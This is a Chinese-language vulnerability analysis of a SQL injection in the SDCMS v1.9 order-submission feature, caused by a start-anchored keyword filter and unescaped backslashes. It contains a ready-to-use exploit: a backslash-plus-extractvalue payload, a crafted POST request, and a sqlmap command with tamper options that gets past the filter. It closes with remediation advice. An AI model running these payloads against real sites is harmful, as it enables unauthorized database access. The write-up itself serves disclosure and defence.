sdcms v1.9最新版前台sql注入
字数 1022 2025-08-26 22:11:45
SDCMS v1.9 前台SQL注入漏洞分析与利用
漏洞概述
SDCMS v1.9 存在一个前台SQL注入漏洞,该漏洞源于参数过滤不严和SQL语句构造不当,攻击者可以通过精心构造的请求实现数据库信息泄露。
漏洞原理
1. 参数处理机制
SDCMS使用F()函数获取用户输入参数,处理流程如下:
- 通过
F()函数获取参数 - 调用
enhtml()函数处理:- 先使用
filterExp()过滤危险字符 - 然后使用
htmlspecialchars($a,ENT_QUOTES,'UTF-8')转义特殊字符
- 先使用
filterExp()函数存在缺陷:
function filterExp($a) {
return (preg_match('/^select|insert|create|update|delete|alter|sleep|payload|assert|load_file|outfile/i',$a))?'':$a;
}
问题在于:
- 使用
^只匹配字符串开头,导致"select"等关键字仅在参数开头时被过滤 - 反斜杠未被过滤
2. 注入点分析
漏洞存在于订单提交功能(othercontroller.php中的order方法):
$d['address']=F('address');
$d['remark']=F('remark');
$this->db->add('sd_order',$d);
这两个参数:
- 完全可控
- 在SQL语句中相邻
- 经过不完善的过滤
3. 注入技术
利用"反斜杠吃掉单引号"技术:
- 在
address参数中传入反斜杠\ - 在
remark参数中构造SQL注入语句
示例:
address = aa\
remark = ,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)#
生成的SQL语句:
insert into sd_order (...) values ('...','aa\',' ,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)# ...)
漏洞复现
环境准备
- 安装SDCMS v1.9
- 添加测试商品(后台操作)
- 确保
web_order_login配置为0(默认值),允许未登录下单
复现步骤
- 访问商品页面:
/?c=index&a=show&id=1 - 点击"我要订购"
- 拦截提交请求并修改参数:
POST /sdcms1.9/?c=other&a=order&id=1 truename=aaa&mobile=18888888888&pronum=1&address=aa\&remark=,1 and extractvalue(1,concat(0x7e,(select user()),0x7e)),1,1,1,1,1)# - 查看日志文件
app/lib/log/[日期].txt获取报错信息
SQLMap自动化利用
由于过滤机制特殊,需特殊配置:
-
准备请求文件
req.txt:POST /sdcms1.9/?c=other&a=order&id=1 HTTP/1.1 Host: 127.0.0.1 ... truename=aaa&mobile=18888888888&pronum=1&address=aa\&remark=,1 *,1,1,1,1,1)# -
使用命令:
sqlmap.py -r req.txt --dbms=mysql --technique=T --test-filter=benchmark --tamper=between,greatest
关键参数说明:
--technique=T:使用时间盲注--test-filter=benchmark:使用benchmark代替sleep--tamper=between,greatest:绕过特殊字符过滤
防御建议
-
修改
filterExp()函数,移除^限制:preg_match('/select|insert|create|update|delete|alter|sleep|payload|assert|load_file|outfile/i',$a) -
使用预处理语句替代直接拼接SQL
-
对反斜杠进行过滤或转义
-
加强错误处理,避免直接显示SQL错误
总结
该漏洞展示了几个关键点:
- 正则表达式设计缺陷导致的过滤绕过
- 反斜杠在SQL注入中的特殊用途
- 多个可控参数相邻时的注入技巧
- 特殊过滤环境下SQLMap的定制化使用
通过此案例,开发人员应更加重视参数过滤的完整性和SQL语句的安全性。